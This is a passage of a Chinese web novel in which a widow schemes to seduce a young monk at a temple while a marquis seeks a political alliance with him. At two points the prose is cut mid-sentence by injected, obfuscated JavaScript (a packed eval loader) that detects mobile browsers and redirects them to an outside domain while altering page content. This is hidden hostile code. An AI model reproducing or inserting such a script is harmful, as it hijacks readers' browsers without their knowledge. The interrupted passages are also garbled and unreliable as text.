拓跋呈并未当即答应,盯着他问:“你想与本侯做什么交易?” 沈听肆侧首,温和的目光投向窗上,“下次侯君再听佛法时,再与侯君议论。” 拓跋呈也想起了,这里并非是商议之地,遂没再追问。 既然今日得不到答案,他也不打算再在此逗留。 拓跋呈乜斜对面佛子清隽出色的侧脸,漫不经心地抻袍,站起身请辞:“如此,那本侯便不打搅悟因法师了。” “小侯君慢走。”沈听肆双手合十作揖。 拓跋呈回了个像模像样的佛礼,转身阔步出了房门。 佛塔三层,内里修建与匈奴王庭的风格竟出奇地相似。 他稍作留意了周围的壁画,想起屋内那看似慈悲渡人的佛子,心中划过一丝怪异。 有几分眼熟,也或许是他的错觉,僧人身上都是这般的气度。 “侯君?”侍从见他止步不前,轻声唤了声。 “无碍。” 拓跋呈继续朝着楼下走去。 出了佛塔后,那股怪异感遽然消散,他踱步在小道上,看着周围典雅庄重之景,临时起意在周围逛逛。 拓跋呈对跟随在身边的侍从挥手:“不用跟着。” “是。” 侍从恭敬地退下。 寒风冷冽,冬山如睡,山中小道两边铺满蔼蔼白雪。 沈听肆在台阶下方便听见了上面传来的动静,待走上最后的台阶,还没抬眸看去,女子冻得哆嗦的嗓音,含着欣喜传来。 “悟因!” 他撩眼看去。 只见头上歪歪斜斜带着帷帽的女子,看似难受地趴在雪地上朝着他挥手。 她像是垂头丧气地待了有会子,蓦然见到他出现,激动得连称呼都不知觉亲近了。 是谢观怜。 8.尾随 沈听肆止步在最后的青石台阶上,黑眸盯着她,然后继续拾步上前。 灰白的僧袍垂落在她的眼前,还不待欣喜开口求助,青年徐徐如雪的声线将她打断。 “檀越,寺院往北,有一处被冻住的湖泊,那里早已经开放给香客了。” 他居高临下地立在她的面前,黑睫覆下,目光温柔地说道,似没有看出她浑身落魄。 谢观怜闻言险些哈出声。 他说什么? 她趴在地上是为了玩雪? 他要不要看看自己在说什么。 谢观怜无言地抬起头,本就没戴稳的帷帽从单螺髻上滑落在松软的白雪上,露出泫然欲泣的脸庞,眼眶都沁出了微红的水色,透出可怜之意。 “不是玩雪,是我的帕子刚才不慎被风吹走了,本想取帕子,结果起身踩滑了,是从上面滚下来的。” “原是如此。”他眼底露出了之色,旋即又慢条斯理地问:“后山寻常无人,不知檀越是要去作何?” 不将她扶起来,反而问这些。 谢观怜有时候真的怀疑他是不是故意的,但他生得委实不像那等皮相慈悲,心肠漆黑的伪善之人。 她只当他是还没有想起,双手撑在雪上,冰凉的雪让眼眶中的热泪坠在睫羽上,冷得嘴唇发白:“其实我是来寻法师的,但刚才没有找到人,正准备下山的。” “寻我?”他睨她明显的暗示,侧目拾起一旁的枯木棍递过去。 谢观怜看着近在眼前的木棍,心中虽失落他没有用手扶,但好歹比方才冷眼看要好多了。 她伸出冻得僵硬的手指,攥住木棍勉强起身,对他扬起苍白羸弱地笑:“多谢法师,其实我来寻法师是又有不懂之处,以为你会在这里,所以便来了。” 沈听肆淡笑:“刚才在小塔与人讲佛。” “原是如此。”她适当地露出了然,旋即羞赧地垂下头,小声道:“我还以为法师今日也在山上呢。” 他没说什么,见她站得艰难,将木棍递过去。 谢观怜接过来感激地看他一眼,泛红的眼尾沾着一点雾气的湿润,抿唇的笑意朦胧得不真切,如同藏在一轮弯月,勾着人情不自禁想要看得更多。 “还能走路吗?”沈听肆眼睫微垂,如常般冷静克制,只有腔调含着淡淡的柔意。 谢观怜轻咬下唇,摇头。 其实倒也不是不能走,她只是刻意装得严重。 沈听肆见她可怜地摇头,被打湿的碎发贴在眼睫上,乍然一看可怜,但若是看得仔细,便会发现她眼眶上浮起的雾是逼出来的。 他没拆穿,道:“若檀越不介意,前面不远处便是竹林屋舍,里面有药膏,可先搽药后再下山。” 这话正中她的下怀,心中微霁,但面上还要表现出矜持的犹豫:“这样可以吗?” 毕竟她现在的身份是寡妇,与男子单独相处会遭人非议。 沈听肆淡淡地看着她,薄唇微启欲讲话。 谢观怜怕他顺着说让她下山的话,忙不迭地打断道:“不过我的确走不了路,还是先借用法师贵地,擦了伤再下去罢。” 青年薄唇合上,安静地听她说完,并未说什么,颔首道:“檀越随我来。” “多谢法师!”谢观怜玉颜舒展,赶紧杵着木棍跟在他的身后。 两人一前一后地朝着竹林走去。 林中布施薄雾,两人如行在林中的鬼魅,缓步下了竹木桥,走进屋内。 屋内无人居住,故而空寂阴冷。 见她裙摆与袖口都是湿的,坐在蒲垫上抱着双臂瑟瑟发抖。 沈听肆从里屋搬来铜炉,丢了几块干木引火。 谢观怜身上暖了不少,柔弱不自胜地捧着冻僵的双手,小声道谢。 他将药箱放在她的面前,道:“檀越可先将伤处清理一下,我去伐竹。” 话中之意乃,身上湿的衣裳烤完后,自行离去,不用再等他找他,他很忙。 谢观怜垂下长睫,乖顺点头:“怜娘谢过法师。” 沈听肆见她应下,眉宇舒展,转身拿起一旁的砍刀往外走去,还体贴地顺手将门阖上。 屋内火炉发出啪嗒的声响,坐在蒲垫上的谢观怜垂眸褪下外裳,支着木棍勉强蹒跚过去,将湿漉的大氅挂在木架上。 她又坐回蒲垫上,伸出腿,卷起裙摆与裤腿。 细长的小腿肌肤娇嫩白腻,唯有膝盖上有淤青。 木匣中有不少瓶瓶罐罐,罐身还标注着名字与作用。 她拿出治跌打损伤的药,倒在膝盖上,掌心覆在上面轻轻地揉着,回想刚才所见的画面。 青年眉眼慈悲却手提砍刀,如何看都觉着有几分违和的怪异。 擦完药后,她转眸打量周围,看见墙上的那几副画,撑着木棍走过去,清瘦的手指拂过。 是新的。 她讶然纸张竟是新的,上次没有过多留意,现在细看却发现连墨都是今年的新墨,凑近闻,还能嗅到淡淡的松墨香气。 这副画的真迹她曾经在父亲的书房见过,当时年少对这些很是好奇,想取下来仔细看,结果还没有碰上便被父亲发现,被罚了几板子,所以现在记忆颇深。 这幅画简直与真迹无甚差别,若是再做旧些,恐怕能达到以假乱真的地步。 因为画此画的大师手法精湛巧妙,能模仿之人少之又少,连伪真迹都能卖出高价,这里竟然随意挂了这么多幅。 谢观怜都一一看过了,全是出自一人之手。 不过她心下诧异后便失去了兴趣,转身倚趴在矮案上,等着身上的衣裙烤干。 天降暮色,隐约有了几分冬夜的寒意。 青年单手托着细长的竹子,颀长的身形从雾气蔓延的竹林中拾出,将竹树都整齐地堆放在院中。 他低头凝看冻红的指尖,忽而似想起了什么,眼皮微掀,淡淡地眺看阖上的门。 几个时辰已经过去了,人应当已经离开了。 他拾步上台阶,停在门口,屈指敲了几声。 等了半会子,里面没有声音传来,才推门而入。 屋内炉中的火已经灭了,炭火燃至末尾,隐约还有暖意。 沈听肆环视周围,没有看见人。 人的确已经走了。 还以为她会借着机会留在这里,倒是没想到,竟还算听话。 他走进去,眉心下意识轻蹙,因为嗅到四周封闭的室内,隐约还有女子身上清甜的木兰香。 上前将周围的窗户都打开,暖意随着那股清淡的木兰香被冷风吹散。 他进了内屋,换下身上的僧袍,出来时顺道将被用过的蒲垫、药匣子都丢进炉子中,引火点燃。 火光下,青年温柔的眉眼被割裂出隐晦的明暗。 谢观怜其实刚走不久。 原本她是想借着身上的伤留在那里,等悟因回来后让他送自己下山,但临了又改变了主意,所以便撑着木棍自己下山了。 到山下后,寺中已经没有多少香客在走动。 她头戴罩住半身的帷帽,双手撑着木棍步伐狼狈的模样,还是引起了几人的目光。 谢观怜由着她们看,漠不关心地垂头往明德院走去,只专注在脚下,没留意到迎面走来的男子。 她直怔怔地撞了上去,跌坐在地上,倒吸一口凉气。 “姑娘,你无碍罢?” 头顶传来男子淡然的腔调,谢观怜抬头隔着帷帽看见立在面前的男子高大,五官俊美,剑眉星目,气质亦矜贵自然。 拓跋呈居高临下地睥睨坐在地上的女子,并未有伸手去扶之意,反而眉心蹙起。 他身居高位,遇见不少想攀附权贵的女郎,主动撞上来,佯装跌倒博取同情的不在少数。 这种人也是他最为不耻的。 谢观怜看了一眼他便猜出此人非富即贵,且身上气势寻常人难企及。 她别过眼,拿起木棍起身摇头:“无碍,是我方才没有看见郎君。” 声如黄鹂,音微弱,很容易令人产生怜悯之情。 拓跋呈自幼便喜好养叫声好听的鸟类,对声音很是钟情,乍然听见她的声音,眉心扬起,仔细打量眼前的女子。 天已有了暮色,再加之她戴着帷帽,只露出一双被冻得微红的纤纤玉指,看不清面容 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谢观怜单手撑着下颌,眼眸微眯,笑道:“小雾真贤惠,可惜我是女子,若是个郎君,指定娶你。” 小雾那受得住她这般调戏,当即红了脸:“娘子又拿奴婢说笑。” 谢观怜笑笑不言,娇身轻起,坐上床榻褪外裳,不经意勾开襟口,烛光下丰肌玉骨,柔蔓不自胜出楚楚动人的天然姿态。 小雾看了眼心中震撼,不敢再继续看了:“娘子早些休息。” “好。” 小雾出去后,谢观怜将衣裳挂在一旁的架上,躺在床上安寝。 苍穹挂着一轮玄月,清冷的月光照在霜雪上,阒寂得万物都在沉睡。 谢观怜蓦然睁开眼,看见窗边有一道人影从窗边跳下去,霎时从床上站起来,“谁!” 谢观怜看着敞开的窗子被吓得头皮发麻,回神后扯下挂在架子上的外裳,披在身上趿拉鞋子去窗边。 那人显然是经常做此事,所以跑得极快,很快院中就已经没有了人影。 谢观怜不知道那人偷偷摸摸进来是为何事,并不打算追出去。 可当她关上窗,转头时却发现衣柜被打开了,而叠放在里面的小衣都被偷走了。 她面色一僵,上前翻了翻,发现藏在小衣里面的东西也被一起偷走了。 那是她的…… 她轻咬贝齿,眸中闪过恼怒。 这淫贼偷衣之前就不能翻看一下吗?! …… 迦南寺与寻常的寺不同,饶是夜里也有清修僧人。 而在罗汉塔中默声诵经,轻敲木鱼于午夜止住。 空余法师放下木鱼,道:“昨日已过,你且回去歇息罢。” 沈听肆双手合十作揖,低声应了声。 刚踏出罗汉塔,身后又响起了沉沉的木鱼与诵经声。 沈听肆脚步骤止,淡淡地转头看了眼身后的塔,黑眸乌泱泱地印着几缕幽光。 十年如一日,日日祈祷、纳福,却仍旧没放下执念。 他微不可见地轻嗤,面无表情地朝着走下台阶,灰白的身影从月光中沐浴进黑暗。 回去禅院的小路有月光照耀,哪怕不用点灯也能看得很清楚。 墨灰的天,模糊的灯笼烛光照在石子路上,青年灰袍似霜雪,身后不紧不慢地跟着的女子犹如一抹幽魂。 她将分寸把持在不会被人发现的范围。 沈听肆提着灯笼,神情平淡,头也没回地朝着前方走着,似没有发现身后跟着人。 直到走进了前往逐茔院的小道上,谢观怜才发现一直跟着的人似乎不见了,周围灰暗暗。 人跟丢了。 谢观怜轻叹一口气,不打算再继续往前。 她提着裙摆正欲转身,却蓦然发现身后的台阶上立着一道颀长的灰白影,冷白的手上提着一盏已经灭了的灯笼。 也不知他是何时在站在的身后,在浓重湿雾的夜里,让男人的黑影幽幽得像是雪化作的鬼魅。 9.勾引 谢观怜被吓得往后退了几步,很快才反应过来这是她方才跟丢的沈听肆。 沈听肆望着眼前戴着帷帽女子。 戴帷帽的只有明德堂的人。 是谢观怜。 谢观怜如同并未认出眼前的人是谁,尾音带了点怯生生的颤意:“你是谁?” 他没回答,只淡淡地问:“为何跟着我?” 虽然在漆黑的雪夜里看不见他的脸,但她觉得他的嗓音过分的冷艳,显得不近人情。 “悟因……”谢观怜眨了眨眼,蓦然捉裙朝着他奔去,声线含着害怕地轻哽:“是悟因吗?” 又一次在惊慌中忘记了加上尊称,直接冒犯地唤他法号,还如同受了欺负,终于寻到主心骨的孩童。 沈听肆被撞得满怀,清甜的木兰香从她的发丝渗出,似生根牵藤的藤蔓用柔和的力道,强势沾上他的身上。 女子柔软的身躯使他僵住,下意识垂眸与一双杳霭流玉的明眸对视,而忘记了将人推开。 她在月下扬起白艳的小脸,眼神半是恐惧半是哀求地望着他,红唇如抹了嫣红的胭脂,一头乌黑青丝连简单的配饰都没有,却给人一种簪星曳月的光彩。 如此楚楚动人之姿,无论是男女见了都会心生怜惜。 但他很快便回过神,蹙眉将她推开,语气虽仍旧温和却隐约能感受到不悦:“檀越自重。” 谢观怜被用力推开,若不是单手撑住了一旁的假山,只怕会站不稳栽回地上。 这男人怎么如此油盐不进! 她眼底闪过一丝羞恼,转过头时看见抬手合十的青年,那股郁闷淡去。 虽然他看似还如最初那般,但脸上神色可和当时不同了。 维持再冷静,下意识合十的手暴露了他心中的不宁静,无论是怒,还是别的情绪,只要不是那副油盐不进的温柔,哪怕是冷淡都好。 对别人斯文克己,对她生怒,冷淡,怎么不算是撩拨得佛子情绪难以自控呢? 不过相比较这种情绪的失控,她更想要看他一脸明知不可为,可还是无法控制本心,隐忍的神态。 她微红的眸中浮起潮气,泫然欲泣地轻咬下唇,洇出绮丽的深红:“抱歉,我、我不会故意冒犯法师的,而是我太害怕了,吓得只能躲在这里。” “我……真的很害怕,一个人也不敢回去,方才看见悟因忽然出现,下意识靠来。” 她垂着头轻哽,双啼长泪划过白净的脸颊,消瘦肩膀轻轻地颤动。 沈听肆神色不动地立在原地,乌黑的瞳仁盯着她羞愧得哭红了眼。 隔了几息,他递过一张帕子,腔调柔下:“抱歉,别哭了,是僧言重了。” 这是在与她赔礼,甚至还主动递了一张随身携带的锦帕。 谢观怜抬起沾泪的长睫,接过他递来的锦帕,摇头小声道:“无碍,都是我的错,一时害怕得忘记了身份。” 沈听肆没有说话,看着她用那张帕子置于眼睫下,灰白的帕子被洇湿一角,而女人连擦拭眼泪都很矫揉造作,半遮半掩的姿态越发显得她容色动人。 待她缓和哽咽,他语气温和问:“不知檀越半夜在此所为何事。” 提及此事,她明显地瑟缩着抖了抖,咬着下唇,用一副又要哭的神情看着他:“能找个地方说吗?我现在还很害怕。” 如今深更半夜,一男一女站在幽静的小道上的确不适合讲话。 他默了默,遂道:“不远处有佛塔,里面有僧人在禅悟,可去那处讲话。” 谢观怜放下手,对他俯身盈盈一拜:“好。” 沈听肆瞥过她攥在掌心没打算还的帕子,转身朝着罗汉塔走去。 谢观怜自然的将帕子放进怀中,弯腰拾起刚才不慎掉落的帷帽戴上,莲步款款地跟在他的身后。 罗汉塔中有淡淡的诵佛声与木鱼声。 谢观怜以为这里的人很多,进来后却发现只有一位老者,瞧着还颇有几分面熟,她不免多打量了几眼。 沈听肆解释道:“这是我师傅。” 师傅?那不就是空余法师吗? 谢观怜赶紧双手合十,对正在诵经的空余法师作礼,连脚步声都小了不少,面容不自觉带着尊敬。 沈听肆视线扫过她认真的表情,转身往木阶上而去。 她捉起裙裾,亦步亦趋地跟在他身后。 佛塔上有阁楼,且装饰典雅,像是寻常用来会客的,连茶几的木头都是用的上好的紫檀木,一走进来便是一股檀香。 谢观怜好奇地打量周围,见他已坐在蒲垫上,也随之而去。 她在他的对面,坐姿端方矜持。 沈听肆倒了一杯茶水,推过去,目光温和地道:“方才可是发生何事了,檀越现在可与僧细说。” 谢观怜捧起冒着雾气的热茶,敛下乌睫,玉颜染上几分恰好的惧意,后怕的与他解释来龙去脉:“这几日我发觉我的院子中似乎被什么人盯上了,总是感觉有人在暗地窥视我,但又一直没有找到人,直到有一夜我正在更衣,刚脱了……” “檀越。”他打断她,眼含柔意:“之后呢?” 谢观怜瞥他。 青年脸上那笑还是和往常一般,唇角勾着温柔的弧度,室内暖意的烛光却融不进那双漆黑的墨眸,提醒她说重点。 谢观怜在他看不见的地方微微撇嘴。 不就是说脱什么衣裳,他怎就知晓她要说小衣和亵裤?万一是外裳呢? 不过在他眼前,她咽下口中话,温吞地说着重点:“后来我发现院中有人,我匆忙从水中出来,披了一件外裳提着木杌,躲在门口等了很久,直到外面的人走了,我才出去,还看见被白雪覆盖的男子脚印,当场吓得担惊受怕一夜未眠。” 她说完眼眶彻底红了,仰面瞧着他,美眸中裹上如茶水般朦胧的雾气,红唇洇着一层汵汵水色,勾人而自知。 沈听肆敛目,问道:“那夜就发现了人,为何不与人说?” 谢观怜轻咬下唇,脸上露出难为情:“法师是知晓的,我是寡妇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012577|161400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院中忽地出现了男人,叫人知晓了终归是不好的。” 她像是守节之人,将贞洁看得比命都还重要。 可实际上,这些时日他所见的她,和她做出来的姿态截然相反。 他并未拆穿,凝着眼睫垂泪的女子,搭在膝上的手指微动:“那今夜檀越是发生何事了?” 谢观怜眨着剪水秋眸睨他,脸上端出惹人怜爱的神态,“其实不瞒法师,我本是房中安寝,可睡至一半隐约察觉屋内有人,因为畏黑,房中都会点灯,醒来睁眼便看见屋内有个穿黑衣的男子偷、偷走了……” 偷的东西很难以启齿,让她未施粉黛的玉容晕上脸腮红,桃粉下唇抿出深色。 哪怕他不去细问,也下意识想到偷的是什么。 沈听肆别过眼,覆睫看面前的茶水。 对面的谢观怜悄然撩着眼皮,乜他低垂的眉眼在摇曳灯烛下垂出一丝清淡的禁欲感,心觉诧异。 原来他不喜欢太过直白,反而喜欢这种半遮欲露。 她眸中闪过笑意,转而用委屈覆盖,继续讲刚才发生的事:“因那贼人偷走了这些东西,我担心流落在外,便急忙追出来。” 一介柔弱女子,遇见贼人竟然去追,也不怕本就心怀不轨之人将她谋害了。 看见他眼含不赞同之色,她又急忙解释:“我当时是被吓到了,待到清醒后我便后悔了,但那贼人却发现我是独自一人出来的,当即拔出匕首朝我追来,我慌忙之下想往有人的地方逃,后来趁他不注意躲在了那里,接着便遇见了法师。” 这些话过程几乎都是真的,后半截都是胡编乱造的。 她其实是跟着追去了有人的地方,无意间听见夜修结束的小沙弥说他在罗汉塔,所以才会铤而走险躲去那里。 她说得很真,描述过程中眼中的惊魂未定做不得假,全是真的很害怕。 沈听肆睨过她惨白的脸颊,声线低沉道:“抱歉,檀越院中无端出现人乃迦南寺之责,僧会给檀越一个交代。” “嗯。”谢观怜泫然欲泣地拿出那张用过的帕子,又当着他的面轻沾眼角:“怜娘是信悟因的。” 他默然盯着她手里捻着的锦帕,薄唇微微抿直。 谢观怜抬起莹白小脸,目光深柔地望着他:“不过此事能不能请法师帮我保密,怜娘此生都打算为夫君守节,不想沾上那些流言蜚语,可以吗?悟因。” 口中说着守节,却用眼神勾人,最后的悟因更似含在唇舌尖蠕动许久,才舍得柔绵绵地吐出。 若是寻常男子,早就已经被她柔情百转之姿,勾引得忘记何为清规戒律。 “嗯。”沈听肆颔首,面上看不出情绪,眉眼间寡淡让她仿佛置身于火海中。 仅仅只是视线于空中对上,甚至连触碰和露骨的动作都没有,她因他不可亵渎的清冷,敏感得艳烧至整个耳背,胸口升起奇妙的颤意。 年轻的佛子,面容深邃禁欲,连喉结上的那颗黑痣都像是在勾引她。 怎么能不令她产生喜爱? 10.弱冠 察觉到她看自己的古怪眼神,他微抬下颌,柔声问:“檀越还有别的事吗?” 谢观怜的眼眶沁出与之前不一样的雾气,竭力忍着想要触碰他的想法,摇头,呼吸仍旧泄出一丝凌乱:“无事了,只是现在很晚了,我独自一人回去害怕。” 她忽然的反应与语气与刚才很不同,沈听肆睨她一眼,并未在意地转头看向外面的天色,抻僧袍起身,闻声道:“我送檀越一段路罢。” “好,多谢悟因。”她跟着起身莲步至他的身边,长睫簌簌轻抖,低垂白项。 许是夜里的烛光本就独特,落在她雪白纤细的脖颈上,拉出羸弱的破碎美。 他多看了一眼那截垂出的颈子,神色莫名晦涩,转身朝着楼下走去。 下面的空余法师仍旧在诵经。 沈听肆与空余法师行礼后带着她出了罗汉塔。 他看着谢观怜提着一盏灯随僧人回去明德园,立在朦胧黑雾中,望着她的背影一步步消失,身后悄无声息地落下如黑夜融为一体的人。 “去查她丢了什么。” “是。” 回到房中的谢观怜扑倒在榻上,紧紧地抱住软枕,眼尾浸出的水珠染湿了藏青素色枕,却不是因为害怕与难过。 而是她发现自己真的很喜欢,他一本正经的清高禁欲,分明眼中从未真的容下过人,却维持着表面的克己复礼,待人温和。 她真的很喜欢,以至于现在浑身都在发抖,脑中什么也想不起,只记得他喉结上的那颗黑痣,滚动时擦过惨白的素袍,透出无声的勾引。 悟因才是真正悄无声息勾引她的人。 谢观怜脸颊深深地埋进软枕中,竭力压制那种翻涌的喜爱。 待到心中宁静后,抬起被折磨得绯红的小脸,颤着湿润的鸦黑睫羽,无力地抱着枕头躺回榻上,裹着绸褥想今夜被偷走的东西。 希望那盗贼发现那张纸无用,然后撕烂,或者直接毁了,不要随手丢弃在有人的地方。 疲惫了半宿,她缓缓闭上眼,带着担忧缓缓一枕黑甜。 昨夜的梦不再是噩梦,而是泛着潮湿的涟漪梦。 年轻的佛子立在巨大的樟树下,五官被柔和得看不清,但依稀还能感受到从骨子里透出的温柔,连脖颈上的那颗黑痣都是温柔的,没有眼见的那种欲气和攻击性。 她眉眼染喜,捉着裙摆朝他奔去,跳进他的怀中,亲昵的与他撒娇。 郎君—— 梦中随着她娇气的撒娇,肩膀被人轻轻地推了,小雾的声音破梦而入。 “娘子、娘子?” 谢观怜迷惘地睁开眼,入目不是梦中的佛子,而是小雾。 可若没有发生那件事,他或许也会生成和这般模样。 她颤了颤酸涩的眼,腕慵无力地撑身子,脸颊泛着薄粉春情,乌黑长发从肩上滑落迤逦在臀边。 小雾眼中闪过惊艳,还没忘将手中的湿帕递过去:“娘子昨夜去作何了?怎么今日到现在都还在睡?” 谢观怜耷拉下眼皮,接过她递来的帕子擦脸,道:“没,这两日不用去训诫堂念经书,用不着起这般早,所以睡久了些。” 昨夜发生的事不能说与小雾听,不然她夜里会守在这里,现在小雾与其余夫人带来的侍女住在同一间院子,若是那贼人再来被小雾撞见了,她担心会出事。 “哦。”小雾没有多想,服侍她起身洗漱换衣。 “娘子,今日是就在房中,还是出去抄写经书?” 谢观怜坐在铜镜面前,执灰黛,淡扫远山眉,回应道:“不在房中,也不抄写经书,我今日在寺中转一转,都说迦南寺有‘小王庭’之称,这一年我还没有看过。” 小雾端过小木杌坐在她的身边,看她描眉。 娘子曾经便爱美,整个雁门无人不知她的美艳动人,尚未及笄媒婆府上的门槛都快踏破了。 谁知如今却嫁来丹阳,连丈夫都没有见过一面,便成了寡妇。 如今连妆容也不能太过张扬,眉眼化出楚楚可怜的苦相。 “娘子生得真漂亮。” 谢观怜乍然听见她说,剪水秋眸微弯,放下唇脂,轻捏了下她的脸颊:“小雾今日的嘴真甜。” 小雾经不住她这样的戏谑,红着脸躲开,埋怨她:“娘子又捏我的脸。” 谢观怜窃笑,松开她站起身,转身拉开房门。 今日的天晴朗,连着树枝上的寒鸦都懒洋洋的。 两道的雪被清扫过,露出湿润的青石板,踩在上面需得小心翼翼才不会滑倒。 谢观怜沿着昨夜的路,一边赏景,一边留意周围有没有那张纸,没有寻到便就作罢了。 小雾说前面有梅林,她便顺便带着小雾走进梅林。 冷艳全欺雪,余香乍入衣。① 探出的红梅开得红艳,散发的余香瞬间侵入襟中。 在雁门很难看见品相如此好的红梅,还是如此大一片,两人忍不住弯腰去捡落在地上的红梅,打算拿回去做香膏。 红梅傲立在雪中,古阁雅亭两相呼应,仿若泼墨点画之美景。 小阁楼修葺得典雅精致,外面的楼梯蜿蜒往上,屋内茶案上的茶宠玉白猫儿冒着淋过热茶的雾,炉中炭火暖意氤氲。 拓跋呈懒散地坐在蒲垫上,看着外面的美景。 而他对面的青年,慈悲面如观音,骨节分明的手持竹镊夹着茶杯清洗,一袭灰白的僧袍如红梅上覆盖的一层雪月,斯文的动作淡雅矜贵。 他听见淋水的汵汵水声,转头看去,佛子低眉温慈地捧起茶杯浅呷:“小侯君带来的茶味道的确和中原的不同。” 拓跋呈挑眉,原以为送其所好,这种只能在官场上有用,倒没想到看似清高的佛子,竟也会收。 “这是从匈奴王庭里才有的,本侯还以为悟因法师早就已经尝过了。” 他盯着对面的沈听肆,不放过他脸上的一丝神情。 然而对面的青年墨黑的眸子中闪过淡淡的讶然,净白的玉面俱是无辜,像是不解他会有这种想法。 沈听肆摇头,腔调斯文道:“第一次尝,只是听闻过王庭的茶是种在圣地,是供应王庭权贵的。” 拓跋呈颔首:“的确是,当时我被关押在王庭,有幸见过王庭的权贵,只是他们与我们有些不同,头上戴了遮面的头巾白布,我至今都没有认出来是谁,只是听人说是王庭最年轻的佛子。” 说完,他话音陡然一转,好奇地问:“不知悟因法师听说过没,我记得王庭不少僧人,似乎都来过中原与法师议佛法。” 沈听肆闻言并未否认众所周知之事,眼尾微压,莞尔道:“有幸见过几位法师。” “这般啊。”拓跋呈了然颔首,望着眼前气质典雅的佛子,“那沈郎君让王庭的佛子救我是为了什么,今日能说了吗?” 昨日人多,沈听肆没明说,以至于他因一句话而彻夜未眠,不断去猜想这位看似两袖清风的端方假佛子,究竟是要做什么。 亦或者……沈听肆是在下什么棋,竟然有胆子笼络他。 若是寻常人他定然不屑一顾,但若是字前冠以沈姓之人,他可得好生思虑几分。 皇权被士族压了近百年,君王在很早之前便动了心思,要分散士族权利,可士族庞大,何其难以撼动,这么多年也就除去了一个背后无人的小小雁门谢氏,而第一士族沈氏渐高。 虽然沈家主看似不再触及朝堂之事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017391|161400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但只要稍微细探究,便会发现朝中近乎一半的人都是出自沈氏。 换而言之,天下明面是君主的天下,实际沈氏要夺天下,轻而易举。 君主野性不小,内忧外患之下,还选择除他拿兵权。 拓跋呈自然不能选择愚忠于君主,所以他查出王庭之事,便将眼放在了,‘遗弃’在迦南寺的沈郎君身上。 一个被遗弃的弃子,虽占有嫡的位份,但不得父亲青睐,甚至刚出生看都没看一眼便遗弃了。 按理说绝无可能有什么势力,然而事实却是,这位嫡弃子并非表面这般无害,不谙世事。 拓跋呈今年不过二十五,正意气风发,也想要成就一番大事业,比如夺王权。 他敛下眼中的野心,提起茶壶倒了一杯热茶品茗,等着眼前的人说话。 “小侯君很聪颖。”沈听肆斯文喟叹,话的尾音慈柔,透出慵懒的欲气。 这种长辈纵容的夸言,让拓跋呈蹙眉,暗忖沈听肆今年多大了,从一开始就叫他‘小侯君’。 仔细想了想,似乎……弱冠? 比他还要小上五岁。 语气却老练得这般娴熟,看来没少与老法师们议论佛法。 拓跋呈乜他,眉心微挑,“沈小郎君这话如何说?” 沈听肆神色不改,淡垂乌睫,玉泽的肌肤略有些病态的苍白,正思虑是否要说。 可他又不喜拓跋呈的那一句称呼。 忽而,外面响起女子‘哎哟’的摔痛声。 声如黄鹂,脆生生的,尾音带着一丝如松雪的软,熟悉得令两人同时转过头,看向窗外。 红梅白雪中,穿着素藏蓝色毛领大氅的女子滑倒在地上,原本用广袖兜住的梅花花瓣散落在雪地中,从帷帽纱幔中露出的妩媚玉颜,比满园的梅花都勾人夺目。 她没发现对面的阁楼上有人,从树上掉下来后忙不迭地爬起来,低头看着落在地上的梅花轻叹。 “好不容易找到的干净花瓣,本想着做梅花香膏,好擦在颈子上给他闻的,差点都弄没了,还好这里有雪,没有掉在地上。” 谢观怜蹲在地上捡掉在雪地里的梅花,小心翼翼地广袖兜起来,腿被摔得一瘸一拐的都还坚持没有露出一丝羸弱之色。 小雾从另一边跑来,见她身上满是雪,连忙上前去,讶然道:“娘子,你怎摔成这副模样?” 一边说着,一边将梅花花瓣装进兜子里。 她不过才折回去拿个布兜子,娘子走路都瘸了,小雾可心疼坏了。 谢观怜不在意地道:“没是,只是摔了一下,上次我从后山滚下来都不觉得痛,这点小伤无事,别哭了。” 小雾听她说起上次,撇嘴道:“也不知道娘子怎么就对山上的野猫感兴趣,万一不是野猫,是只野老虎怎么办。” 上次摔伤不好解释,所以谢观怜便对小雾说,是追着一只小白猫去的后山,没想到她竟还惦记着。 谢观怜失笑,揉了揉她的头:“好了,下次我不去找什么野猫就是了。” 小雾这才露出笑,然后扶着她离去。 雪地上残留被蹂躏出芬芳汁水的梅花花瓣,阁楼之上的茶雾散去,拓跋呈面色难看地转过头。 这女子竟说他是野猫。 好,很好! 相对于他的神色难看,对面敛目品茶的沈听肆神色淡然,似没有听见底下之人说的野猫。 他放下茶杯抬头,对拓跋呈面含歉意地道:“抱歉小侯君,忽然想起师傅吩咐我今日的清修还未完成,剩下的事只能下次有缘再议了。” 拓跋呈脸色又阴下一层,一张嘴的事,却将他吊着一拖再拖。 这沈听肆是将他当成猴耍了。 11.姚黄 偏生他眼下又需要沈氏相助。 拓跋呈想着前后利害关系,冷面勉强勾起一抹笑,点头道:“既然沈郎君今日有事,那我们便晚些时候再议论,等你有空了也不晚,本侯大约这段时日都会在迦南寺,有的是空闲。” 沈听肆听出他话中之意,不置可否地扬眉,揖礼后起身离去。 僧袍缓缓消失在门口。 拓跋呈倚在窗边,盯着那道楚楚谡谡的背影融入白雪红梅之中。 不知是否他的错觉,这位斯文佛子恰好从残留在地上的红梅上踏过,艳俗的花瓣深陷雪中。 既人都已经离去了,拓跋呈再留在这里也无意义,想起方才在地下的那女子,凤眸微眯,冷嗤一声,遂起身离去。 